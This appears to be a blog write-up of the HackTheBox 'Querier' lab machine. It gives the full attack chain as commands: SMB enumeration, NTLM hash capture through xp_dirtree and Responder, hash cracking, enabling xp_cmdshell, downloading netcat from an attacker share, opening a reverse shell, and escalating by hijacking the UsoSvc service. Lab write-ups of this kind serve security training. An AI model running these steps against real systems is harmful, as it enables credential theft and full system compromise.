< Back

Querier - WriteUp

Posted on: 21 Jun 2019 | HackTheBox




I started with my usual nmap scan:

$ nmap -sC -sV -oN initial

135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server  14.00.1000.00
| ms-sql-ntlm-info:
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: QUERIER
|   DNS_Domain_Name: HTB.LOCAL
|   DNS_Computer_Name: QUERIER.HTB.LOCAL
|   DNS_Tree_Name: HTB.LOCAL
|_  Product_Version: 10.0.17763

I reduced the output to the interesting pieces. As we found some DNS-Names I put them into my /etc/hosts file.

$nano /etc/hosts    querier.htb.local querier

After my initial scan, I proceeded with a script-scan. Especialy when I see port 445 open. Port 445 is used for SMB or filesharing on Windows.

But this time the nmap scripts failed to identify anything usefull on this port. A deadend?

As I couldn’t find anything else on the box, I tried another tool to check the SMB-Service: Metasploit.

$ msfconsole

msf5 use auxiliary/scanner/smb/smb_enumshares
msf5 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS
msf5 run

[+]      - ADMIN$ - (DS) Remote Admin                                      
[+]      - C$ - (DS) Default share                                         
[+]      - IPC$ - (I) Remote IPC                                           
[+]      - Reports - (DS)

Note to self: It’s always a good idea to check and recheck your services with different tools. ;)



I used the the file explorer to connect as an anonymous user.

smb_connect_01 smb_connect_02

The file has a .xlsm extension. Which means it should have a macro inside. Which turned out to be true once I opened the file.


Let’s investigate the macro.


Here are the important SQL-Connection bits:




Obviously I wanted to connect to the database now. For tasks like this I use the impacket toolset.

./mssqlclient.py -windows-auth reporting@querier


When you have access to a Microsoft-SQL Server, always check for the xp_cmdshell option to run commands on the operating system.

SQL> xp_cmdshell cmd.exe
[-] ERROR(QUERIER): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.

No dice. Permission denied.

But, of cause there’s a way around that. By pure chance I watched a video of ippsec who had the very same problem in a box earlier that week. So I went back and checked what he did.

xp_dirtree to the rescue.

With xp_dirtree I can list folders and shares. And as Windows loves to do single-sign-on for the user with it’s NTLM hash I can try to intercept it.

In order to grab the NTLM-Hash I need the tool named responder in one terminal and run the xp_dirtree command for the share created by responder in another terminal.

-----------Terminal 1--------------
$ responder -I tun0 -wrfv

-----------Terminal 2--------------
SQL> exec xp_dirtree '\\\files'

The resulting NTLM-Hash is:


hashcat cracked the NTLM-Hash for me in mere seconds:

$ ./hashcat -m 5600 ntlm-hash.txt --force
> Password: corporate568



I used the new credentials again with impacket to login:

./mssqlclient.py -windows-auth querier/mssql-svc:corporate568@querier

If xp_cmdshell will work now?

SQL> xp_cmdshell cmd.exe
[-] ERROR(QUERIER): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because
this component is turned off as part of the security configuration for this server.
A system administrator can enable the use of 'xp_cmdshell' by using 'sp_configure'.
For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

Almost. I seem to have to propper permissions now. But I need to enable it.

SQL> EXEC sp_configure 'show advanced options', 1
SQL> EXEC sp_configure 'xp_cmdshell', 1

This looks promissing. My next goal should be to get a propper reverse-shell and some tools for the next step on the box. I used impacket again to give me a SMB Server which can hold my files. I put nc64.exe and powerup.ps1 in that share.

$ python /opt/impacket/examples/smbserver.py -smb2support files `pwd`

I downloaded them from my box to the target using a LOLBIN.

SQL> xp_cmdshell esentutl.exe /y \\\files\nc64.exe /d C:\Users\mssql-svc\nc64.exe /o
SQL> xp_cmdshell esentutl.exe /y \\\files\powerup.ps1 /d C:\Users\mssql-svc\powerup.ps1 /o


Now the reverse-shell:

-----------Terminal 1--------------
$ nc -lvnp 9001

-----------Terminal 2--------------
SQL> xp_cmdshell C:\Users\mssql-svc\nc64.exe -e cmd 9001



Privilege Escalation

First, I’ve got the user.txt.


This time, I haven’t spent time in a dedicated internal-recon phase. It was a mixed bag due to the tools I used. The mentioned powerup.ps1 script does technicaly both: Recon and Escalation.

The module was loaded into powershell like so:

C:\Users\mssql-svc> powershell
PS C:\Users\mssql-svc> import-module ./powerup.ps1
PS C:\Users\mssql-svc> invoke-allchecks


I spent quite some time trying to login somehow with the password in the GPP. But I wasn’t able to make it work. While doing this writeup however I realized - the password should have worked. Don’t know what I did wrong.

But there’s more than one way to victory: I’ve seen the vulnerable service but ignored it for a hopefully quick win with the password. After that failed I gave it a shot.


Root Flag

I used powerup.ps1 again, to exploit the UsoSvr service.

-----------Terminal 1--------------
$ nc -lvnp 9002

-----------Terminal 2--------------
PS C:\Users\mssql-svc> Set-ServiceBinaryPath -Name UsoSvc -Path 'C:\Users\mssql-svc\nc64.exe -e cmd 9002'
PS C:\Users\mssql-svc> restart-service UsoSvc

So what happened here? First, let me cite two things of the powerup authors regarding services and improper permissions:

This misconfiguration happens when the executable associated with a service has improper permissions, allowing other users to
write to the .exe. Since these services run as SYSTEM, if we replace the exe with our own, we can escalate quickly.

Takes a service name [...] that the current user has configuration modification rights on and executes
a series of automated actions to execute commands as SYSTEM.

And this box is no exception. As far as I understand it, the service is vulnerable to the 2nd variant.


Mission Accomplished! :)